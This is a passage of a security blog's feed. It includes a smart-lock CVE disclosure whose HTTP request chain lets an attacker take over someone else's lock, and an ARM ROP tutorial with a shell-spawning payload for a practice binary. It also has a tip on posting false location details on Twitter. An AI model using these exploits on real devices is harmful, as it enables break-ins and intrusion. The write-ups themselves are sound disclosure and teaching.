short:</p> <ul> <li>nation states and their intelligence agencies</li> <li>governments, political parties</li> <li>other non/quasi-governmental groups</li> <li>trolls</li> </ul> <p>This essentially sums up the what, why, how and who of disinformation.</p> <h2 id="personal-opsec">Personal OPSEC</h2> <p>This is a fun one. Now, it&rsquo;s common knowledge that <strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might lead to your OPSEC being compromised. So if you really have to, you can feign activity using disinformation. For example, pick a place, and throw in subtle details pertaining to the weather, local events or regional politics of that place into your disinfo. Assuming this is Twitter, you can tweet stuff like:</p> <ul> <li>&ldquo;Ugh, when will this hot streak end?!&rdquo;</li> <li>&ldquo;Traffic wonky because of the Mardi Gras parade.&rdquo;</li> <li>&ldquo;Woah, XYZ place is nice! Especially the fountains by ABC street.&rdquo;</li> </ul> <p>Of course, if you&rsquo;re a nobody on Twitter (like me), this is a non-issue for you.</p> <p>And please, don&rsquo;t do this:</p> <p><img src="https://cdn.icyphox.sh/gqoHr.png" alt="" /></p> <h2 id="conclusion">Conclusion</h2> <p>The ability to influence someone&rsquo;s decisions/thought process in just one tweet is scary. There is no simple way to combat disinformation. Social media is hard to control. Just like anything else in cyber, this too is an endless battle between social media corps and motivated actors.</p> <p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping folks see the truth in a post-truth world.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked" rel="nofollow">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">The <a href="https://www.bellingcat.com/category/resources/podcasts/" rel="nofollow">Bellingcat Podcast</a>&rsquo;s season one covers the MH17 investigation in detail. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories" rel="nofollow">Wikipedia section on MH17 conspiracy theories</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:4"><a href="https://twitter.com/gdead/status/1171032265629032450" rel="nofollow">Chinese newspaper spreading disinfo</a> <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:5">Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html" rel="nofollow">this</a>. <a class="footnote-return" href="#fnref:5"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Setting up my personal mailserver + 2019-08-15T00:00:00Z + tag:icyphox.sh/,2019-08-15:blog/mailserver + + <h2>This is probably a terrible idea…</h2> <p>A mailserver was a long time coming. I&rsquo;d made an attempt at setting one up around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And I almost did this time too.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p> <p>For this attempt, I wanted a simpler approach. I recall how terribly confusing Dovecot &amp; Postfix were to configure and hence I decided to look for a containerized solution, that most importantly, runs on my cheap $5 Digital Ocean VPS &mdash; 1 vCPU and 1 GB memory. Of which only around 500 MB is actually available. So yeah, <em>pretty</em> tight.</p> <h2 id="what-s-available">What&rsquo;s available</h2> <p>Turns out, there are quite a few of these OOTB, ready to deply solutions. These are the ones I came across:</p> <ul> <li><p><a href="https://poste.io" rel="nofollow">poste.io</a>: Based on an &ldquo;open core&rdquo; model. The base install is open source and free (as in beer), but you&rsquo;ll have to pay for the extra stuff.</p></li> <li><p><a href="https://mailu.io" rel="nofollow">mailu.io</a>: Free software. Draws inspiration from poste.io, but ships with a web UI that I didn&rsquo;t need.</p></li> <li><p><a href="https://mailcow.email" rel="nofollow">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li> <li><p><a href="https://mailinabox.email" rel="nofollow">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth a mention. It however, needs a fresh box to work with. A box with absolutely nothing else on it. I can&rsquo;t afford to do that.</p></li> <li><p><a href="https://github.com/tomav/docker-mailserver/" rel="nofollow">docker-mailserver</a>: <strong>The winner</strong>.</p></li> </ul> <h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2> <p>The first thing that caught my eye in the README:</p> <blockquote> <p>Recommended:</p> <ul> <li>1 CPU</li> <li>1GB RAM</li> </ul> <p>Minimum:</p> <ul> <li>1 CPU</li> <li>512MB RAM</li> </ul> </blockquote> <p>Fantastic, I can somehow squeeze this into my existing VPS. Setup was fairly simple &amp; the docs are pretty good. It employs a single <code>.env</code> file for configuration, which is great. However, I did run into a couple of hiccups here and there.</p> <p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out of memory.</p> <pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory </code></pre> <p>But it eventually worked after a couple of attempts.</p> <p>The next thing I struggled with &mdash; DNS. Specifically, the with the step where the DKIM keys are generated<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>. The output under<br /> <code>config/opendkim/keys/domain.tld/mail.txt</code><br /> isn&rsquo;t exactly CloudFlare friendly; they can&rsquo;t be directly copy-pasted into a <code>TXT</code> record.</p> <p>This is what it looks like.</p> <pre><code>mail._domainkey IN TXT ( &quot;v=DKIM1; h=sha256; k=rsa; &quot; &quot;p=&lt;key&gt;&quot; &quot;&lt;more key&gt;&quot; ) ; -- -- DKIM key mail for icyphox.sh </code></pre> <p>But while configuring the record, you set &ldquo;Type&rdquo; to <code>TXT</code>, &ldquo;Name&rdquo; to <code>mail._domainkey</code>, and the &ldquo;Value&rdquo; to what&rsquo;s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>&quot;&quot;</code>. Also remove the part that appears to be a comment <code>; -- -- ...</code>.</p> <p>To simplify debugging DNS issues later, it&rsquo;s probably a good idea to point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an <code>A</code> record. You&rsquo;ll then have to set an <code>MX</code> record with the &ldquo;Name&rdquo; as <code>@</code> (or whatever your DNS provider uses to denote the root domain) and the &ldquo;Value&rdquo; to <code>mail.domain.tld</code>. And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of your <code>A</code> record &mdash; &ldquo;Name&rdquo; as the server IP and &ldquo;Value&rdquo; as <code>mail.domain.tld</code>. I learnt this part the hard way, when my outgoing email kept getting rejected by Tutanota&rsquo;s servers.</p> <p>Yet another hurdle &mdash; SSL/TLS certificates. This isn&rsquo;t very properly documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples" rel="nofollow">wiki</a> and look at an example. In short, install <code>certbot</code>, have port 80 free, and run</p> <pre><code class="language-shell">$ certbot certonly --standalone -d mail.domain.tld </code></pre> <p>Once that&rsquo;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in the container, something like so:</p> <pre><code class="language-yaml">... volumes: - maildata:/var/mail - mailstate:/var/mail-state - ./config/:/tmp/docker-mailserver/ - /etc/letsencrypt:/etc/letsencrypt ... </code></pre> <p>With this done, you shouldn&rsquo;t have mail clients complaining about wonky certs for which you&rsquo;ll have to add an exception manually.</p> <h2 id="why-would-you">Why would you…?</h2> <p>There are a few good reasons for this:</p> <h3 id="privacy">Privacy</h3> <p>No really, this is <em>the</em> best choice for truly private email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&rsquo;t dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>,</p> <blockquote> <p>Truly secure systems do not require you to trust the service provider.</p> </blockquote> <p>But you have to <em>trust</em> ProtonMail. They run open source software, but how can you really be sure that it isn&rsquo;t a backdoored version of it?</p> <p>When you host your own mailserver, you truly own your email without having to rely on any third-party. This isn&rsquo;t an attempt to spread FUD. In the end, it all depends on your threat model™.</p> <h3 id="decentralization">Decentralization</h3> <p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em> active users. That&rsquo;s obscene. Email was designed to be decentralized but big corps swooped in and made it a product. They now control your data, and it isn&rsquo;t unknown that Google reads your mail. This again loops back to my previous point, privacy. Decentralization guarantees privacy. When you control your mail, you subsequently control who reads it.</p> <h3 id="personalization">Personalization</h3> <p>Can&rsquo;t ignore this one. It&rsquo;s cool to have a custom email address to flex.</p> <p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p> <p>Pfft, this is no competition.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1">My <a href="https://twitter.com/icyphox/status/1161648321548566528" rel="nofollow">tweet</a> of frustration. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2"><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys" rel="nofollow">Link</a> to step in the docs. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3">From his <a href="https://drewdevault.com/2018/08/08/Signal.html" rel="nofollow">article</a> on why he doesn&rsquo;t trust Signal. <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Picking the FB50 smart lock (CVE-2019-13143) + 2019-08-05T00:00:00Z + tag:icyphox.sh/,2019-08-05:blog/fb50 + + <h2>… and lessons learnt in IoT security</h2> <p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure" rel="nofollow">SecureLayer7&rsquo;s Blog</a>, with my edits</em>)</p> <h2 id="the-lock">The lock</h2> <p>The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands across many ecommerce sites, and has over, an estimated, 15k+ users.</p> <p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.</p> <p>We had two primary attack surfaces we decided to tackle&mdash;Bluetooth (BLE) and the Android app.</p> <h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2> <p>Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made around 4 &ldquo;unlocks&rdquo; from the Android phone, as seen in the screenshot.</p> <p><img src="https://cdn.icyphox.sh/IO5G0.png" alt="" /></p> <p>This is the value sent in the <code>Write</code> request:</p> <p><img src="https://cdn.icyphox.sh/rJVoE.png" alt="" /></p> <p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>, but that didn&rsquo;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p> <h2 id="via-the-android-app">Via the Android app</h2> <p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&rsquo;t get us too far since most of it was obfuscated. Why bother when there exists an easier approach&mdash;BurpSuite.</p> <p>We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.</p> <h2 id="the-exploit">The exploit</h2> <p>The entire exploit is a 4 step process consisting of authenticated HTTP requests:</p> <ol> <li>Using the lock&rsquo;s MAC (obtained via a simple Bluetooth scan in the vicinity), get the barcode and lock ID</li> <li>Using the barcode, fetch the user ID</li> <li>Using the lock ID and user ID, unbind the user from the lock</li> <li>Provide a new name, attacker&rsquo;s user ID and the MAC to bind the attacker to the lock</li> </ol> <p>This is what it looks like, in essence (personal info redacted).</p> <h3 id="request-1">Request 1</h3> <pre><code>POST /oklock/lock/queryDevice {&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} </code></pre> <p>Response:</p> <pre><code>{ &quot;result&quot;:{ &quot;alarm&quot;:0, &quot;barcode&quot;:&quot;&lt;BARCODE&gt;&quot;, &quot;chipType&quot;:&quot;1&quot;, &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, &quot;deviceId&quot;:&quot;&quot;, &quot;electricity&quot;:&quot;95&quot;, &quot;firmwareVersion&quot;:&quot;2.3&quot;, &quot;gsmVersion&quot;:&quot;&quot;, &quot;id&quot;:&lt;LOCK ID&gt;, &quot;isLock&quot;:0, &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, &quot;lockPwd&quot;:&quot;000000&quot;, &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, &quot;name&quot;:&quot;lock&quot;, &quot;radioName&quot;:&quot;BlueFPL&quot;, &quot;type&quot;:0 }, &quot;status&quot;:&quot;2000&quot; } </code></pre> <h3 id="request-2">Request 2</h3> <pre><code>POST /oklock/lock/getDeviceInfo {&quot;barcode&quot;:&quot;https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;&quot;} </code></pre> <p>Response:</p> <pre><code> &quot;result&quot;:{ &quot;account&quot;:&quot;email@some.website&quot;, &quot;alarm&quot;:0, &quot;barcode&quot;:&quot;&lt;BARCODE&gt;&quot;, &quot;chipType&quot;:&quot;1&quot;, &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, &quot;deviceId&quot;:&quot;&quot;, &quot;electricity&quot;:&quot;95&quot;, &quot;firmwareVersion&quot;:&quot;2.3&quot;, &quot;gsmVersion&quot;:&quot;&quot;, &quot;id&quot;:&lt;LOCK ID&gt;, &quot;isLock&quot;:0, &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, &quot;lockPwd&quot;:&quot;000000&quot;, &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, &quot;name&quot;:&quot;lock&quot;, &quot;radioName&quot;:&quot;BlueFPL&quot;, &quot;type&quot;:0, &quot;userId&quot;:&lt;USER ID&gt; } </code></pre> <h3 id="request-3">Request 3</h3> <pre><code>POST /oklock/lock/unbind {&quot;lockId&quot;:&quot;&lt;LOCK ID&gt;&quot;,&quot;userId&quot;:&lt;USER ID&gt;} </code></pre> <h3 id="request-4">Request 4</h3> <pre><code>POST /oklock/lock/bind {&quot;name&quot;:&quot;newname&quot;,&quot;userId&quot;:&lt;USER ID&gt;,&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} </code></pre> <h2 id="that-s-it-the-scary-stuff">That&rsquo;s it! (&amp; the scary stuff)</h2> <p>You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to their lock. They can&rsquo;t even &ldquo;rebind&rdquo; to get it back, since the current owner (the attacker) needs to authorize that.</p> <p>To add to that, roughly 15,000 user accounts&rsquo; info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named &ldquo;carlock&rdquo;, &ldquo;garage&rdquo;, &ldquo;MainDoor&rdquo;, etc.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> This is terrifying.</p> <p><em>shudders</em></p> <h2 id="proof-of-concept">Proof of Concept</h2> <p><a href="https://twitter.com/icyphox/status/1158396372778807296" rel="nofollow">PoC Video</a></p> <p><a href="https://github.com/icyphox/pwnfb50" rel="nofollow">Exploit code</a></p> <h2 id="disclosure-timeline">Disclosure timeline</h2> <ul> <li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li> <li><strong>27th June, 2019</strong>: Vendor notified about the issue</li> <li><strong>2nd July, 2019</strong>: CVE-2019&ndash;13143 reserved</li> <li>No response from vendor</li> <li><strong>2nd August 2019</strong>: Public disclosure</li> </ul> <h2 id="lessons-learnt">Lessons learnt</h2> <p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&rsquo;re better off with the &ldquo;dumb&rdquo; ones with keys. With the IoT plague spreading, it brings in a large attack surface to things that were otherwise &ldquo;unhackable&rdquo; (try hacking a &ldquo;dumb&rdquo; toaster).</p> <p>The IoT security scene is rife with bugs from over 10 years ago, like executable stack segments<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>, hardcoded keys, and poor development practices in general.</p> <p>Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing field for cyber warfare and mass surveillance campaigns.</p> <h2 id="researcher-info">Researcher info</h2> <p>This research was done at <a href="https://securelayer7.net" rel="nofollow">SecureLayer7</a>, Pune, IN by:</p> <ul> <li>Anirudh Oppiliappan (me)</li> <li>S. Raghav Pillai (<a href="https://twitter.com/_vologue" rel="nofollow">@_vologue</a>)</li> <li>Shubham Chougule (<a href="https://twitter.com/shubhamtc" rel="nofollow">@shubhamtc</a>)</li> </ul> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/" rel="nofollow">This</a> article discusses a similar smart lock, but they broke the encryption. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">Thanks to Ilja Shaposhnikov (@drakylar). <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf" rel="nofollow">PDF</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Return Oriented Programming on ARM (32-bit) + 2019-06-06T00:00:00Z + tag:icyphox.sh/,2019-06-06:blog/rop-on-arm + + <h2>Making stack-based exploitation great again!</h2> <p>Before we start <em>anything</em>, you’re expected to know the basics of ARM assembly to follow along. I highly recommend <a href="https://twitter.com/fox0x01" rel="nofollow">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/" rel="nofollow">ARM Assembly Basics</a>. Once you’re comfortable with it, proceed with the next bit&mdash;environment setup.</p> <h2 id="setup">Setup</h2> <p>Since we’re working with the ARM architecture, there are two options to go forth with:</p> <ol> <li>Emulate&mdash;head over to <a href="https://www.qemu.org/download/" rel="nofollow">qemu.org/download</a> and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/" rel="nofollow">here</a>. The scripts found inside should be self-explanatory.</li> <li>Use actual ARM hardware, like an RPi.</li> </ol> <p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you may use <code>radare2</code>, IDA or anything else, really. All of which can be trivially installed.</p> <p>And for the sake of simplicity, disable ASLR:</p> <pre><code class="language-shell">$ echo 0 &gt; /proc/sys/kernel/randomize_va_space </code></pre> <p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000" rel="nofollow">Billy Ellis’</a> <a href="/static/files/roplevel2.c">roplevel2</a>.</p> <p>Compile it:</p> <pre><code class="language-sh">$ gcc roplevel2.c -o rop2 </code></pre> <p>With that out of the way, here’s a quick run down of what ROP actually is.</p> <h2 id="a-primer-on-rop">A primer on ROP</h2> <p>ROP or Return Oriented Programming is a modern exploitation technique that’s used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>. In essence, no code in the binary is actually modified and the entire exploit is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p> <p>A gadget is essentially a small sequence of code (instructions), ending with a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>. These gadgets are <em>chained</em> together by jumping (returning) from one onto the other to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain, there’s generally a call to <code>system()</code>, to acheive code execution.</p> <p>In practice, the process of executing a ropchain is something like this:</p> <ul> <li>confirm the existence of a stack-based buffer overflow</li> <li>identify the offset at which the instruction pointer gets overwritten</li> <li>locate the addresses of the gadgets you wish to use</li> <li>craft your input keeping in mind the stack’s layout, and chain the addresses of your gadgets</li> </ul> <p><a href="https://twitter.com/LiveOverflow" rel="nofollow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s" rel="nofollow">beautiful video</a> where he explains ROP using “weird machines”. Check it out, it might be just what you needed for that “aha!” moment :)</p> <p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully that should put things into perspective.</p> <h2 id="exploring-our-binary">Exploring our binary</h2> <p>Start by running it, and entering any arbitrary string. On entering a fairly large string, say, “A” × 20, we see a segmentation fault occur.</p> <p><img src="https://cdn.icyphox.sh/qrN69.png" alt="" /></p> <p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p> <p><img src="https://cdn.icyphox.sh/3j-MJ.png" alt="" /></p> <p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and <code>gadget</code>. Disassembling the <code>main</code> function:</p> <p><img src="https://cdn.icyphox.sh/p2iFF.png" alt="" /></p> <p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are never actually called.</p> <p>Disassembling the <code>gadget</code> function:</p> <p><img src="https://cdn.icyphox.sh/1T8XT.png" alt="" /></p> <p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>, which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code> instruction in the middle. This is a <strong>gadget</strong>.</p> <p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code> are used for this. So this gadget effectively allows us to pass arguments to functions using <code>r0</code>, and subsequently jumping to them by passing its address in <code>pc</code>. Neat.</p> <p>Moving on to the disassembly of the <code>winner</code> function:</p> <p><img src="https://cdn.icyphox.sh/BDtJr.png" alt="" /></p> <p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>. So our end goal here is to, quite obviously, execute code via the <code>system()</code> function.</p> <p>Now that we have an overview of what’s in the binary, let’s formulate a method of exploitation by messing around with inputs.</p> <h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2> <p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the screenshot.</p> <p><img src="https://cdn.icyphox.sh/7IDsI.png" alt="" /></p> <p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice the <code>pc</code> has been overwritten with our input. So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p> <p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now control program execution flow. Let’s try jumping to the <code>winner</code> function.</p> <p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset of the second instruction&mdash;<code>add r11, sp, #4</code>. For this, we’ll use Python to print our input string replacing <code>FFFF</code> with the address of <code>winner</code>. Note the endianness.</p> <pre><code class="language-shell">$ python -c 'print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)' | ./rop2 </code></pre> <p><img src="https://cdn.icyphox.sh/A~RaT.png" alt="" /></p> <p>The reason we don’t jump to the first instruction is because we want to control the stack ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code> those out after <code>winner</code> is done executing and we will no longer control where it jumps to.</p> <p>So that didn’t do much, just prints out a string “Nothing much here&hellip;”. But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument to do what we want (run a command, execute a shell, etc.).</p> <p>To do that, we’ll follow a multi-step process:</p> <ol> <li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li> <li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into <code>r0</code>.</li> <li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li> </ol> <p>The pseudo-code is something like this:</p> <pre><code>string = AAAABBBBCCCCDDDDEEEE gadget = # addr of gadget binsh = # addr of /bin/sh system = # addr of system() print(string + gadget + binsh + system) </code></pre> <p>Clean and mean.</p> <h2 id="the-exploit">The exploit</h2> <p>To write the exploit, we’ll use Python and the absolute godsend of a library&mdash;<code>struct</code>. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.</p> <p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p> <pre><code>(gdb) find &amp;system, +9999999, &quot;/bin/sh&quot; </code></pre> <p><img src="https://cdn.icyphox.sh/SiNzl.png" alt="" /></p> <p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be found from the disassmblies from earlier. Here’s the final exploit code:</p> <pre><code class="language-python">import struct binsh = struct.pack(&quot;I&quot;, 0xb6f85588) string = &quot;AAAABBBBCCCCDDDDEEEE&quot; gadget = struct.pack(&quot;I&quot;, 0x00010550) system = struct.pack(&quot;I&quot;, 0x00010538) print(string + gadget + binsh + system) </code></pre> <p>Honestly, not too far off from our pseudo-code :)</p> <p>Let’s see it in action:</p> <p><img src="https://cdn.icyphox.sh/9ob4r.png" alt="" /></p> <p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates when the pipe closes, since there’s no input coming in from STDIN. To get around this, we use <code>cat(1)</code> which allows us to relay input through it to the shell. Nifty trick.</p> <h2 id="conclusion">Conclusion</h2> <p>This was a fairly basic challenge, with everything laid out conveniently. Actual ropchaining is a little more involved, with a lot more gadgets to be chained to acheive code execution.</p> <p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p> + + + My setup + 2019-05-13T00:00:00Z + tag:icyphox.sh/,2019-05-13:blog/my-setup + + <h2>My daily drivers—hardware, software and workflow</h2> <p><strong>Update</strong>: I now maintain a <a href="/uses">uses</a> page. This post is out of date.</p> <h2 id="hardware">Hardware</h2> <p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13" rel="nofollow">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, 8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p> <p>For my phone, I use a <a href="https://www.oneplus.in/6t" rel="nofollow">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos" rel="nofollow">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5" rel="nofollow">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p> <p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/" rel="nofollow">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p> <p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO" rel="nofollow">Dell SK-8110</a>. For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html" rel="nofollow">HP m150</a> gaming mouse. It’s the perfect size (and color).</p> <p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html" rel="nofollow">Bose SoundLink II</a>. Great pair of headphones, although the ear cups need replacing.</p> <h2 id="and-the-software">And the software</h2> <p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io" rel="nofollow">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric window manager, all riced. I now use whatever JustWorks™.</del></p> <p><strong>Update</strong>: As of June 2019, I&rsquo;ve switched over to a vanilla Debian 9 Stretch install, running <a href="https://i3wm.org" rel="nofollow">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles" rel="nofollow">dotfiles</a> repo.</p> <p>Here’s a (riced) screenshot of my desktop.</p> <p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p> <p>Most of my work is done in either the browser, or the terminal. My shell is pure <a href="http://www.zsh.org" rel="nofollow">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org" rel="nofollow">Nim</a>&mdash;<a href="https://github.com/icyphox/nicy" rel="nofollow">nicy</a>. My primary text editor is <a href="https://neovim.org" rel="nofollow">nvim</a>. Again, all configs in my dotfiles repo linked above. I manage all my passwords using <a href="https://passwordstore.org" rel="nofollow">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass" rel="nofollow">rofi-pass</a> to access them via <code>rofi</code>.</p> <p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace clean and a single command to drop into a Kali shell.</p> <p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://cdn.icyphox.sh" rel="nofollow">cdn.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve" rel="nofollow">serve</a>, by <a href="https://zeit.co" rel="nofollow">ZEIT</a>. The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes.</p> <p>I plan on converting my desktop back at home into a homeserver setup. pSoon™.</p> + + + Python for Reverse Engineering + 2019-02-08T00:00:00Z + tag:icyphox.sh/,2019-02-08:blog/python-for-re-1 + + <h2>Building your own disassembly tooling for — that’s right — fun and profit</h2> <p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p> <p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting 